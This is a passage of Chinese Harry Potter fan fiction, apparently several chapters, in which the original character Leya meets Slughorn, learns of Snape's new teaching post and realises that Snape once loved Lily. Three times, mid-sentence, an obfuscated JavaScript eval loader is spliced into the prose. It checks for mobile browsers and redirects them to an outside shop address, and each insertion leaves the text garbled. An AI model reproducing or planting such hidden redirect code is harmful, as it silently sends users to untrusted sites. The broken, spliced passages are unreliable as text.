“是啊,怎么了?”亚瑟挑起眉毛。 雷格纳脸色一沉,沉默了一阵,很快就意识到邓布利多可能没有把全套的真话告诉他。但蕾雅很显然是参加了训练,她那天回家的时候全身都带着淤青,可把他心疼坏了——那么,她是一个人参加了训练?还有谁? 那天斯内普带着自己女儿幻影移形离去的景象又浮现在脑海里。 雷格纳脚步微微一顿,若有所思地盯着地面,“哎亚瑟,我问你个事。” “快说,别跟我卖关子。” 雷格纳谨慎地环顾四周,确认没有人在听他们说话,压着声音在亚瑟耳边问道:“你说,斯内普教授是你们的人吗?就是,前不久邓布利多他邀请我……” “哦我听说了这件事,但你拒绝了不是吗。”亚瑟把话接了下去,思虑了一阵,说道:“如果你是顾虑斯内普教授的话,他是我们的人,邓布利多很信任他。” 雷格纳轻微地点了点头,“倒不是在顾虑他,你知道的,如果奥德莉亚也是个巫师,我们会毫不犹豫一起参加,可惜她并不是我们世界的人。” “我明白。”亚瑟轻轻地拍了拍他的肩膀,安慰道:“别想太多,这节骨眼上,大家都有难处。” 等他们快走到车站的正门了,亚瑟突然开口,“不过,雷格纳,我看你在担心的好像不止这些事啊。不会是蕾雅要恋爱了吧?” 雷格纳差点没咳出声来,他眉毛微蹙,仿佛被看破了一样尴尬地看着亚瑟。 “我过来人。”亚瑟指了指自己大笑一声,“你看比尔,仿佛昨天还在莫莉的怀里呢,一眨眼,马上要结婚了。” 雷格纳脸上转而露出一丝惊喜,“比尔要结婚啦?” “可不是,所以嘛,孩子的事我们就少管了。梅林知道莫莉有多么不喜欢那个女孩,也管不了啦。”亚瑟爽朗地说道,然后眼睛一转,用手肘捅了捅雷格纳的前胸,“不过你还是快告诉我,是哪个幸运的小伙子?” 雷格纳假装作痛地捂着胸,又摆了摆手,眼神复杂地长叹一口气,“傻丫头在单相思呢。要真是个阳光的幸运小伙我倒松口气。” 亚瑟笑得更大声了,一脸意味深长。 就在这个时候,几个傲罗擦过他们走出了车站,看起来是刚好结束任务回魔法部去了。亚瑟注视着这些匆匆擦身而过的身影,随后又将视线转回至车站,脸上的笑容逐渐溃散了。 他回过头来,有些严肃地对雷格纳说:“不过接下来的学期可能不太太平了,你还是让蕾雅别太沉在情绪里了。我刚听说了一点事,万事小心。”? “你也是,亚瑟,照顾好自己和你的家人。” …… 蕾雅费力地拖着行李箱,被一群吱吱喳喳的新生挤得有些烦躁,好不容易才追上了前面的哈利。 “哈利!”她朝他喊道。 “啊,蕾雅!”哈利停住了脚步等她,他的身边也簇拥着一群同样吵闹的女孩子,似乎是为他着迷。蕾雅不得不以抱歉的眼神扫了一眼她们,伸出手去一把扯过哈利快步往前走去。 他们又在不远处的过道里遇到了纳威和卢娜,好不容易在车厢里寻得一个空闲的包厢坐下。等整好行李,蕾雅才得知罗恩和赫敏已经去了级长车厢。 “怎么样,暑假。”蕾雅长吁一口气坐到位置上,微笑着看向哈利。 “挺好,基本在陋居过了。”哈利说,“你呢?” “跟着爸爸学了一大堆有的没的,”蕾雅耸了耸肩,转向卢娜和纳威,“你们呢?” “挺好,《唱唱反调》发行量正逐步上升呢。”卢娜有些高兴地分享着,纳威还没来得及回答,正忙着在座椅下面寻找他奔放自由的蟾蜍。 列车很快就发动了,在轰隆隆的声音里,几个人有一波没一波地聊着天。 聊到暑假的趣事、纳威新买的魔杖、又交换了一下O.W.L成绩,哈利对于蕾雅魔药学考了O这件事特别惊讶。不时有一些狂热的女孩子趴在门上看他们,蕾雅被看得有些不耐,扯着嘴角抬起魔杖,给包厢的玻璃门来了一道起雾的咒语,哈利更加惊讶地看着她,好像觉得过了一个暑假她像变了一个人似的。 过了一阵,罗恩和赫敏终于执勤完了回来,满满一车厢的人开始讨论等下餐车来了要吃什么。 蕾雅才想起来行李里母亲亲手烤的曲奇,翻出来分给大家。还没等他们轮完一圈,包厢门就又被推开了,一个三年级的女孩子战战兢兢地走了进来。 “给、给纳威·隆巴顿、哈利·波特、还、还有蕾雅·莱恩哈特。”她满脸通红,在一群人充满笑意的目光里撇了一眼哈利,递过来三卷扎着紫色绸带的羊皮纸。 “什么东西?”罗恩发出一声疑问,凑过去看哈利的那卷卷轴。 赫敏挨着蕾雅,注意力也放在了蕾雅手中的那卷。蕾雅让她靠在自己的肩上,小心地扯开绸带。 “蕾雅: 如果你可以来C号包厢跟我一起共进午餐,我将会十分高兴。” “H.E.F斯拉格霍恩教授?”蕾雅愣愣地念出这个陌生的名字。 “这是谁?”赫敏从她肩上抬起头来,发出另一声疑问,皱着眉看对面同样一脸疑惑的纳威。 “他是邓布利多这学期请的新老师,可能教黑魔法防御课吧。”哈利解释道,“我们快走吧。” 三个人再次被过道里那些熙攘活泼的学生们推攘得变形,艰难地挪到C号包厢。 在车窗外斜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593434|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 射的阳光下,一个穿着金色天鹅绒马甲的光头老巫师坐在那里,一见到他们便热情地起身——直接走向了哈利。 “哈利!”老头子的欢迎声里带着浓厚的亲昵,蕾雅觉得他就差没在男孩的脸上亲一口了。 他放开哈利转向蕾雅和纳威,招了招手,咧着嘴说道:“这两位一定是隆巴顿先生和莱恩哈特小姐了!” 蕾雅牵起一个勉强的微笑,更勉强地向他行了个礼,“您好,您一定是斯拉格霍恩教授了吧?” 包厢里还有一个穿着斯莱特林制服的学生和两个七年级学长,以及在斯拉格霍恩的身后冲着他们做鬼脸的金妮。 蕾雅对上她调皮的笑容,努力地憋住了自己也想跟她一样做鬼脸的冲动。 “快来,快来坐下。”斯拉格霍恩招呼了起来,一边介绍起了身边的学生:“布雷斯·沙比尼,你们的同级!然后这位是考麦克·麦克拉根,格兰芬多七年级学长,也许你们曾经见过?哦还有,马科斯,贝尔比。” 他们还没来得及点上午餐,斯拉格霍恩已经开始详细介绍起了在座各位的家庭背景。 贝尔比的叔叔是狼毒药剂的发明者;而麦克拉根的叔叔是魔法部著名的神奇生物专家;沙比尼则来自一个富有且声望高的斯莱特林家庭,其母亲婚史丰富;纳威的父母为知名的傲罗;哈利就不用说了,众所周知的救世主,还是斯拉格霍恩决定复出教学的直接原因:至于金妮则有些好笑,因为在用蝙蝠精咒被斯拉格霍恩看见了,觉得她颇具天赋。 蕾雅坐在哈利的旁边,听得目瞪口呆,很快就意识到这位教授在新学期的第一天就急于笼络那些来自有影响力家庭的学生。她在心里暗暗想着,今晚一定要好好地给父亲写上一封信,好好地说一下这位令人惊讶的教授。 “而你!蕾雅。”斯拉格霍恩突然转向她,语带惊喜和让人不舒服的殷切,“雷格纳当年也是我的学生!现在他已是神秘司的杰出缄默人,听说很快就要升为副司长了。真是没想到,当时他在我课上可是闯了不少祸!” “啊,是这样吗?”蕾雅尴尬地笑了笑,同时听到金妮在她身后窃笑,“我对父亲的工作并不太了解。” “缄默人的工作本就如此,对家人也得保密。”斯拉格霍恩兴致勃勃地做了一个噤声的手势。 蕾雅微微一笑,尴尬地朝身边的哈利挤了挤眼,哈利也无奈地看向她。这时,斯拉格霍恩突然惊呼一声,打断了他俩的表情交换。 “噢梅林啊,你们没发现蕾雅和哈利长得有点像么?”老头子好奇地在蕾雅和哈利之间来回打量,很快皱起眉头,惊叹道:“看看这双眼睛,简直如出一辙!” 包厢里的人顺着老教授的话向他俩纷纷递来眼色,哈利耸了耸肩,蕾雅只得看向窗外。 “确实太相似了……”斯拉格霍恩摸着下巴端详着,“就像是看见了两个莉莉,不过莉莉倒是红发而不是黑发。” “莉莉?”蕾雅不解地吐了口气。 “我的妈妈,莉莉·波特。”哈利凑近她的耳朵,认真地解释道,“其实你的眼睛真的很像她,比我还像。” 斯拉格霍恩似乎被勾起了往事的惆怅,开始沉浸在自己的记忆中,喃喃着:“想当年,莉莉和你们的斯内普教授都在我的班上,两个人都是出类拔萃的学生。哎……”他的声音里满是怀念与惆怅。 莉莉·波特,和斯内普…… 绿色眼睛?红发?蕾雅倒吸一口冷气,感觉自己就像是被突然扔进了寒冷的十二月水塘,一阵寒意袭过全身,让她一瞬间僵硬,几乎忘记了如何呼吸。 斯拉格霍恩的话语声在她耳边变得愈发模糊,她只能隐约听到他不停地讲述,手中的手帕时而被拿起又被放下。直到天色渐暗,斯拉格霍恩才将他们从包厢中放了出来。 蕾雅恍惚着走出包厢,就扯了扯哈利的衣服,小声地对他说:“哈利,你有你妈妈的照片吗?我有些好奇到底有多像。” 哈利略显困惑,但很快就认真地点头回答:“有的,等晚上我回去拿给你看。我现在还有点事,待会儿见。” 没等身后的纳威和金妮投来疑问的目光,哈利已经朝反方向跑去了。 25. 宇宙 蕾雅呆呆地跟着纳威走回了包厢里,又呆呆地跟着大伙儿一起回到了霍格沃茨。 她机械般走进明灿灿的大礼堂里,自动地找到了格兰芬多的席位坐下,目光空洞地望着台上进行的分院仪式,眼睛时不时飘向教师席上斯内普的空席出了神。 莉莉,会是斯内普记忆片段里的那个女孩吗? 她已经迫不及待想看哈利的照片了,但哈利却没有出现在礼堂里。 热闹的礼堂忽而安静了一瞬,大家似乎被门口的什么东西吸引住了目光,她顺着众人的视线转头,就看到哈利满脸是血,狼狈地从礼堂大门走进来。礼堂中的气氛一下就变得微妙了起来,许多学生开始窃窃私语。就在大家关注着哈利的时候,她偏过头,望见斯内普也正慢悠悠地走到自己的座位上坐下。 时隔十天,终于再次见到了他。 他在一瞬间对上了她的视线,而后没有任何表情地移开了目光。 “哈利?你怎么了?”罗恩急切地看向眼镜男孩,后者显然不太好,他脸上脏兮兮的,眼镜也有点歪。 “没事,什么也没发生,晚点再说。”哈利接过蕾雅递去地手帕胡乱擦了脸,开始伸出手去捞长桌上的那些食物,看起来饿坏了。 就在这时,邓布利多从容不迫地站起身来,礼堂里的谈话声顿时都消失了一瞬。 蕾雅注意到他用长袍小心地掩盖了自己的右手,但多数人还是瞥见了那些如枯枝般的黑色手指,议论声再次一次纷纷扬扬。 “那只手看上去已经不行了……也许是一些古老的诅咒。”赫敏仔细地望着,压着声音对蕾雅说道。 “梅林……”蕾雅小声地随口应着,因为她早已知道了。 邓布利多抬起左手将杂音压下,以洪亮的声音说道:“本学期,我们迎来了一位新的教授——斯拉格霍恩教授。”他领先鼓掌,那位下午见到的肥胖老头子满脸笑容地站了起来,邓布利多继续道:“他将担任魔药学教授。” “魔药学?!”蕾雅没忍住发出了一声叫喊,下一秒就被身边的赫敏捂住了嘴。 幸好,整个礼堂里都是震惊的声音,根本没有人在意她的惊呼。 她再次看向席上的斯内普,而这位教授只是平静地凝视着正在讲话的邓布利多,嘴唇抿成了一道刻薄的线。 “我们的斯内普教授,”邓布利多继续说道,“从本学期起,将担任黑魔法防御课的教师。” “不!”这次轮到哈利站了起来大叫了一声,迅速被隔壁的罗恩拉着身子扯了下来。 什么?——蕾雅转向教师席,蓦地撞上了一双冰冷锐利的黑眸。她无法判断他是在看哈利还是在看自己。但在下一瞬间,斯内普就淡然地偏过头,随意地挥了挥手,斯莱特林的席位上立刻爆发出了热烈的欢呼声。 “也好。”哈利突然叹了一声,重新坐直了身子,抬起手中的叉子狠狠地按向盘里的蛋糕,“这样的话,斯内普不到一年就会离开。” “什么意思?”蕾雅皱起眉头,不解地望向哈利。 “你不知道吗?”哈利推了推自己的眼镜,“这个职位是被诅咒了的,每个担任的教授都不可能超过一年。你想想嘛,我们之前的黑魔法防御课教授,哪一个是留下来了的?”话音刚落,他将一大块蛋糕塞进了自己的嘴里。 没有一个人能超过一年——她垂下头,想起了那些偷听的秘密。 难怪邓布利多会让他在这个学期担任黑魔法防御课教授。 “哎说不定时间一到他就回去当魔药学教授了呗。”罗恩嚼着食物,含糊不清的话倒是被蕾雅听得真切。 蕾雅抿了一口已经凉透的甜腻奶茶,心里却泛出浓重的苦涩。 真希望是罗恩说的这样啊。但是他很可能不会了。 席间上的斯内普正在低头漠然地翻着餐盘里的食物。那些假期里一起经历过的事,都彷如朦胧迷离的梦,他变回了那个高傲冷漠的教授,而且现在已是黑魔法防御术教授,她再也不能以替他整理药材的借口踏入他的办公室了。 蕾雅忽而觉得,她与他之间的距离,如同这礼堂之上饱满的星光,隔着整个宇宙的银河,遥远到连想都不敢想。 是这样啊。 倒计时仍然在进行,从今早到现在坚定地离终点靠近了十个小时。 她的心里闷闷的,思绪也乱七八糟。一直等到邓布利多解散了喧嚣的礼堂,她还坐在原地。 一旁的哈利好像也不愿意走,蹲在那里慢吞吞地系鞋带,和罗恩聊着他为什么迟到的事。蕾雅没有在听,目光始终愣愣地停留在教师席,斯内普在跟邓布利多和斯拉格霍恩说着话,她的视线随着他握着酒杯的手指轨迹而移动着。 “蕾雅!”跟罗恩唠叨完的哈利耸了耸她,用手在她眼前晃了晃,“回去啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593435|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 这边的举动倒是引起了邓布利多的注意,老巫师不动声色地扫了他们一眼,很快就洞察到了蕾雅的注目,那双湛蓝色的眼睛藏着笑意,仿佛看透了她一样。 随后,老巫师凑向斯内普,低声说了几句话。斯内普眉毛一挑,显然对邓布利多的话有所不满,但他沉默着转身离开了教师席。 随着斯内普的离开,蕾雅也即刻起了身,对旁边的两个男孩快速说道:“唔!我上个洗手间。公共休息室见。”便跑了出去。 蕾雅一路绕过礼堂,拐进一侧的走廊,她在庭院前方拱券的阴影里发现了他。斯内普正抱着双臂,面朝着黑湖的方向,那一身黑袍在他身后沉重如墨。她顿住脚步,不敢再往前,只能眺望。 问他什么呢? 是问他过得好吗?问他莉莉的事?还是问他黑魔法防御课教授的事? 还是该问他为什么之前要让自己看见那些记忆片段? 但是所有的疑问都在看见他的这一刻变得无所谓了。 也许就这样看着,远远看着他好好的就好。 满夜的月华洒在庭院里,石头地砖被缥缈的银白映得就像是天上粲然的星图。 是的,他们之间落满了一整个银河的星宿。 “我假设你最好是有点什么重要的事,莱恩哈特。”斯内普低沉的嗓音从星河那头传了过来,“否则,我建议你在我给格兰芬多扣上二十分之前离开这里。哦,顺带一提,因为波特那令人无法忍受的迟到,格兰芬多已经扣了七十分。” 呃……我不想知道这个消息。七十分也太多了! 蕾雅后知后觉地浑身一震,反而有些被惹笑了,她摸了摸自己的鼻子,踌躇片刻,最终仍是踩进了面前这条宇宙鸿沟。 “嗯……”她鼓起勇气,走到离他几步远的明亮处停住,“教授。” “说。” “我听说了黑魔法防御课教授的诅咒。所以……您会倍加小心的,对吧?” 斯内普缓缓转身,眼里有浓重的暗色,嘴角也挂着一丝讥讽的弧度:“莱恩哈特小姐,格兰芬多将因为你的……” “哇!求您别再扣我们分了!”蕾雅急忙举手打断他,“我马上就走,您就当没见过我吧。” 斯内普轻哼一声,满意地看着黑发少女像是落荒而逃的小动物般回到了对岸,消失在已被夜色淹没的长廊尽头。 26. 物归原主 从斯内普身边逃走了以后,蕾雅先是快速跑到了礼堂前的学院分沙漏,站在那等待了一阵。确认斯内普真的没有扣分之后,她才松了一口气回去格兰芬多公共休息室。 推开胖夫人的画像,吵吵嚷嚷的聊天声音就迎面扑过来了,开学的第一天永远如此,每个人都有分享不完的事,茶几上也堆满了大家带回来分享的特产和零食。尽管巫师届已经因为神秘人的归来而笼罩着一些阴霾,高墙之内的生活依然可以单纯而快乐。 蕾雅没有参与任何的讨论,微笑着跟见到的人打着招呼,径自回到了寝室,拉文德和赫敏已经在那里整理行李,而她的行李箱子也已经被放在床头柜旁。 “嗨。”蕾雅轻轻跟她们打了一个招呼。 “啊,蕾雅你回来啦,你刚去哪啦?”拉文德随口应道,她正在把繁多的衣服塞进柜子里。 “唔,肚子痛去了趟厕所,跟哈利说了会儿话。”蕾雅将行李箱撂在床边,以魔杖轻点箱子,箱子自动打开来,里面的各种东西顺着她的指挥飞出,有序地排列在柜子的各个角落。 等床上用品铺好了,她坐下来继续指挥着魔杖,瞥见床头柜上还放着那枚小小的耳环。她很快地从行李箱里引出一个天鹅绒的首饰盒将它郑重地安置下来。而后,她朝花瓶里已经沾染上一些尘埃的绣球干花使了一个清理一新,褪了色的干花变得鲜亮了些,至少能分辨出是白色和淡绿色了。 “蕾雅,六年级你准备选什么课?”赫敏的声音从房间的另一头响起,她好像已经完成了整理,正叉着腰检查还有什么没弄好的地方。 “唔,我想想。”蕾雅从行李箱里拿出最后一件行李——她的泰迪熊,放在床上,“黑魔法防御课、魔咒、魔药、变形术吧大概是。……哦,也许还有草药学和魔法史?” “魔法史?你怎么会选那个课。我都没选。”赫敏讶异地问。不过她很快就反应过来了,眼色了然地看向好友:“你想去魔法部工作?” 蕾雅却摇了摇头,心里没底地咕哝着:“也许是吧,其实我还没想好。”但是斯内普建议我选,她把后面的半句话咽在了肚子里。 “蕾雅,快来。”寝室门这时响起了一阵敲门声,门外竟是哈利的声音。离门最近的拉文德先走了过去拉开,哈利朝蕾雅招了招手,“在车上跟你说的,照片。” “啊!来了。”蕾雅反应过来,连忙走了过去。 走到门口,蕾雅回头望向赫敏的位置,“你来吗?聊天?” 但赫敏已经端正地坐在书桌前了,摆了摆手,“不了,我预习一下。” 蕾雅跟着哈利走下楼梯,重新回到了公共休息室。找了一个不那么喧闹的角落坐下来。哈利从口袋里抽出一本泛黄的笔记本翻开,里面夹着一张同样已经泛黄的照片。 “我不常拿出来看,其实。”哈利把照片拿在手上,低垂着头,“每次看到他们……我。” 蕾雅瞧见了他眼里的一些神伤,“抱歉勾起你的伤心事了,是我没考虑到……”她眉毛轻蹙,最终还是决定将手轻轻搭在他的肩上。 哈利轻按了一下她的手,打断了她的话,“没关系,我答应了你的。”他抬起头,努力挤出一个微笑,然后将照片递给她,“来看吧。” 照片里,詹姆斯·波特长得跟哈利几乎一模一样,脸上带着自信又幸福的笑容,他正抱着同样幸福笑着的莉莉·波特。她拥有一头红发,一双绿眸溢满了温柔,笑靥如花。 两个人依偎在一起轻轻旋转着,身后是漫天飞舞的黄叶,美好得仿佛世界上只有他们二人。 终于看见了照片,第一个映入蕾雅脑海的想法是,那双眼睛就像是自己在照镜子一样。 而接踵而至的第二个想法是,根本不用再做任何的推断,她正是斯内普记忆里的那个红发女孩。那眼里的明媚灿烂如仲夏艳阳,和小时候的她一模一样,好像世界上所有的花都会因她盛开。 只一眼,蕾雅便别开了视线,不动声色地将照片还了回去,哑着声说道:“噢梅林,他们看起来很爱彼此。你妈妈长得好美。” 可是他们都不在了。真令人难受。 “是啊。”哈利轻轻接过照片,忽然举起来放在蕾雅的脸侧对比了一下。 蕾雅一愣,只见哈利笑着说,“就是这么比还是觉得太像了” 他喃喃着放下来,将照片重新收回了笔记本里。 蕾雅没再看他,伸出手去从茶几上拣了一盒怪味豆,分了哈利几颗,忽然开口:“你知不知道……” “什么?”哈利接过怪味豆,下一瞬脸上就扭曲了起来,“呕,鼻屎味的。” 少女被他的表情逗笑了,于是笑着答道,“没什么。谢谢你跟我分享。” 她从盒子里挑了一颗蓝色的放进嘴里,“唔,好运蓝莓味!我先去冲个澡,东西也还没收好呢。明天见?” “好啊,明天见。”哈利挥手与她告别。 其实蕾雅很想问他是否知道他的母亲认识斯内普。但她最终也没能问出口,她知道哈利讨厌所有跟斯内普有关的事,更别提这牵扯到他的母亲,她不想这位已经承担很多事的男孩过于难过。 夜里,少女的心惴惴不安。像有一团无形的浓雾盘踞在湿重的沼泽之上,又闷,又潮,让人透不过气。 在苦闷里唯一令人欣慰的事也许就只有,困扰着她的蛇怪和血迹消失不见了,取而代之的是一片葱郁的草地,上面坐着一名黑发男孩和一名红发女孩。 那时,男孩的黑瞳还没有任何的杂质,所有今日能看见的深不可测和冷倨锐利都仍未长出。 那时,他的眼里只有她。 ——斯内普曾喜欢过莉莉·波特。真是傻瓜都看得出来。 蕾雅不断地把头埋在泰迪熊里,想让这毛茸茸带来的窒息感取代眼里的炽热。 她不知道自己为什么难过,但是她知道自己辗转反侧很久也没能睡着。开学第一天,就失眠,真是个美好的开始。 少女烦躁地将泰迪熊扔到床尾,用力地踢开夏被,在赫敏和拉文德平稳沉睡的呼吸声里悄悄下了床。 她几乎不曾在宵禁后溜出公共休息室过,但今晚她觉得自己真的很需要一些新鲜空气。 霍格沃茨正在寂静的沉眠之中,高塔之上却是另一番景象。 远方的黑夜在群山之上亮起了一点青蓝的光,面前闪烁着的星河也一直延伸到那里,随后被融化在了天际。 蕾雅靠着塔楼那在初秋开始透出寒气的石墙,抱起了自己的双膝。不再炎热的夜风一阵阵撩拨着少女额前的黑发。 她承认自己喜欢沉思,可她很不喜欢沉浸在这种莫名其妙的情绪里。 她无法分辨她是因为他深陷旋涡的身不由己难过,还是因为他心有所爱而难过。 忽而很细微的脚步声音从身后的楼梯方向传来了,蕾雅慌乱地把自己拾掇起来,抬头惊恐地望了过去。 “让我猜猜,是什么让这位美丽的小姐在宵禁之后仍在高塔上流连忘返。”是邓布利多和蔼的声音,“许是这令人心旷神怡的夜空?” 蕾雅一愣,连忙站起身来,忐忑地望向他,“校长,我就是想透透风,马上回去了。” 老巫师穿着一身深蓝色的星月睡衣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593436|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和这窎远的星空倒是有些相衬。他走到她前面,笑意温暖,摆了摆手,“不急,陪我说说话吧。” 蕾雅疑惑地看着邓布利多把那灰黑的手轻轻搭在栏杆上,若有所思地眺望了一阵。 “我猜训练还算顺利?”邓布利多慢悠悠地开口,“西弗勒斯好像提早结束了训练?” “嗯,那天我不小心使了个盔甲护身…好像反转了他的摄神取念。”蕾雅摸了摸自己的鼻子,小声地说道:“他好像有点生气,跟我说这样就足够了,训练结束。” 邓布利多笑了一声,声音里有些不可置信:“你反转了他的摄神取念?所以你看见他的记忆了?” “唔……”蕾雅犹豫地看向他,轻轻点了头。 “你可以告诉我,你看见什么了吗?”他凑近了些,好奇地问。 蕾雅刚要开口,突然想到答应过斯内普不把他那晚受伤的事说出来的,于是顿住了。 邓布利多当然看穿了她,“是西弗勒斯的一些秘密?”见她细微地点头,邓布利多调皮地朝她眨了眨眼,低声说道:“放心,我很擅长守护秘密的。” 蕾雅仍然有些为难地看着邓布利多,但邓布利多眼里却是一种耐心,仿佛笃定她一定会开口般等待着。她被看得有些心虚,最终叹了口气,避重就轻地开口:“我看见了三段记忆。第一段是那天前些时候的事,第二段是他跟神秘人,第三段……是他的童年,和一个女孩子一起。” “女孩子?” “……应该是哈利的妈妈。” “莉莉。”邓布利多立即笑哼一声,似乎毫不惊讶,但他在蕾雅抛出更多问题前将话锋一转:“唔,这是你烦恼的原因吗?” 蕾雅发现自己正无意识地搓着睡袍的一角,她赶紧松开了已经被揉皱的衣料,认真地注视着邓布利多,“我……我其实在想我不太可能攻破他的大脑封闭术。您知道,那可是斯内普教授诶。” 邓布利多扬起了眉毛,“所以你觉得有别的可能?” “我觉得他是故意让我看见这些记忆的。先生,这可能吗?”蕾雅把存在自己心里已经一段时间的推测道了出来。 邓布利多稍稍颔首,笑而不语地摸着自己的胡子,好像在琢磨着什么般。接着他移开了放在少女身上的目光,从容不迫地从自己的魔法口袋里摸出一个瓶子,说道,“本来我以为还需要些时间,但看来事情比我想象的要快多了。” 她疑惑地将目光投向他手上的瓶子。瓶子里装着一缕在黑夜中仍有着幽光的物质,蕾雅认得出来,是那些沉思盆里的思绪。 “是时候让他们物归原主了,蕾雅。”老巫师笑吟吟地说,满脸慈爱。 “物归原主?” “既然斯内普教授认为你的训练结束了,那我相信你已经有足够的能力护住这些记忆了。”邓布利多的眼里有深意,语气却是那样的轻快:“噢,能帮我拿一下吗?” 蕾雅伸出手去稳住瓶子,更加困惑地看着老巫师将瓶盖打开,以他的魔杖将思绪引出,动作温柔地指向她的太阳穴。 淡白色的记忆如烟雾般浸入她的脑海,一缕记忆正在渐渐展开—— …… “先生,您是说,您早就知道他不会活下来了吗?” “我以为,西弗勒斯在很早以前就决定将自己的一生结束了。” “那他为什么还要做所有这些呢?我不理解……” “也许是为了赎罪,但我想,更多是为了爱。” 记忆里的老巫师,脸上有很沉重的怜悯与不忍。 “那你,又为什么要为他做这些呢?”他问。 27. 无声咒 末了,老巫师低叹一口气,神情复杂地看向那已经微微泛白的天空。 “我记得你上一次并没有回答我的话。今晚,我必须再问一次。 ……蕾雅,即便他很可能不会回应你,你也决定要这么做吗?” “是,先生。我心意已决。” 等重新回到柔软的床铺之上,蕾雅突兀地想起,邓布利多到最后都没有回答自己的问题——斯内普到底是不是故意让她看见那些记忆的? …… 礼堂的长桌上,低年级的学生都已经离席了,只剩下六年级的学生们安静地等着各院的院长分发自己的课表。 蕾雅晃了晃有些沉重的脑袋,忍住胃里泛上的恶心,将杯中最后的一点南瓜汁喝完。对面的哈利刚拿到麦格教授给她发的课表,重新坐下身来观察着她,“昨晚没睡好?” “噗,你的黑眼圈都快比眼睛大了。”罗恩侧过头来,顺着哈利的话看向她,打趣地说道。 “可能昨天奶茶喝多了吧。”蕾雅嘟哝着又打了一个哈欠,用一只手撑住自己随时可能载进早餐盘里的额头。 “几点睡着的?”赫敏说,“今早我起床的时候你被子都快掉到地上了,我给你盖上你都没反应。” “不记得了,大概凌晨吧……”蕾雅迷迷糊糊地应着,努力回想了一会儿,但实在想不起来了,但她记得自己没有踢被子的习惯来着。 “要不要请假回去睡个觉?你看起来有点糟糕。”赫敏又关心地问她。 “唔,大概没事。”蕾雅坐直了些,正要伸出一只手去抓起餐巾擦嘴,麦格教授恰好走到她的身边。 “蕾雅。”麦格教授抱着一个记事板转向她,上面正放着写有她名字的课表,“你的O.W.L成绩真的出乎我的意料,五年级以来你就像换了个人一样。” 蕾雅尴尬地笑了笑,没打算接话。 “这个学期,你要选的这几门课都没什么问题,我很期待你的继续进步。”麦格教授低着头,挥了挥手中的魔杖,课表上自动显现出字迹来,随后将课表递给了蕾雅,又柔声细语地说道,“要是在座的各位,都有蕾雅这种进步速度,我也就不用怎么担心了。”麦格教授以眼神扫过长桌上的一众小狮子。 “谢谢您。”蕾雅不好意思地笑了一下,接过课表的时候恰好瞥见对面的斯莱特林桌上那位院长耷拉的嘴角。 少女当然没预想到,接下来新学期的第一节课竟然就是这位院长的黑魔法防御。 斯内普显然是将这间教室好好地装扮过了。整个教室都阴暗沉沉,厚重的窗帘没有放进一丝的阳光,只有微弱的蜡烛在努力地散发着有气无力的亮黄色,勉强维持到不让人绊倒的程度。 她跟着前面的队伍走进教室,大家的脚步都慢极了,每个人都被两边的墙壁上是瘆人的图画吸引了目光。每一张画上面都是扭曲的表情与离奇古怪的伤口,大概都是由黑魔法造成的。 蕾雅又想起了困扰了她好多个夜晚的鲜血场景,那大片血泊淹没了的正是此刻讲台上那个身形颀长的教授。她因而望向他,发现他面若冰霜地观察着学生们的一举一动,那微卷的薄唇扭曲得也快跟墙上的恐怖画没两样了。 头好重,她又摇了摇头,觉得实在是不能再继续思考任何了。 蕾雅靠着墙找了一个角落坐下来,尽量不想引起任何人的注意。还没来得及等她振作好精神,斯内普的声音就响了起来。 “我想,你们这门课已经换了五位老师了。我很惊讶,就是这种情况还能有这么多人能来上我的提高班——” 唔是啊,我不想换第六位老师了,能不能拜托你别走。 斯内普低沉而毫无起伏的嗓音实在是过于催眠,还没几分钟,蕾雅已经难以阻止自己大脑的胡乱发散。 “黑魔法,变幻莫测,诡计多端,种类繁多。因此你们需要策略,你们的防御——” ——“只依靠力量是不够的,莱恩哈特。你需要策略。” 唔。策略,很好,我有的,我上次给教授淋了一身水呢。 她不得不努力地用手指撑起自己的眼皮。 “好了,不多废话,这节课我们将学习无声咒。”斯内普缓慢地绕着教室踱步,那深不可测的黑袍垂在他的身后,“对手不知道你打算施什么魔法,你就有一瞬间优势。” 他走到了教室的最末端,忽而停住了脚步转身,袍角轻轻擦过书桌,“现在,站起来,两个人分成一组,拿出你们的魔杖,一个进攻一个防御,但都不许出声,开始吧。” 好吧,起身—— 蕾雅努了努嘴,盯着斯内普站起身来,慢吞吞地拿出了自己的魔杖。 倦怠的眼皮正在打架,大脑仿佛正在海上沉浮着,而她的心里还停留在上次浇了他一身水的事,哦,还有策略。 还没等她意识过来发生了什么事,哗啦——一阵轰然的水声回荡在教室里,紧接着是水浪拍在墙上的清脆击打声。 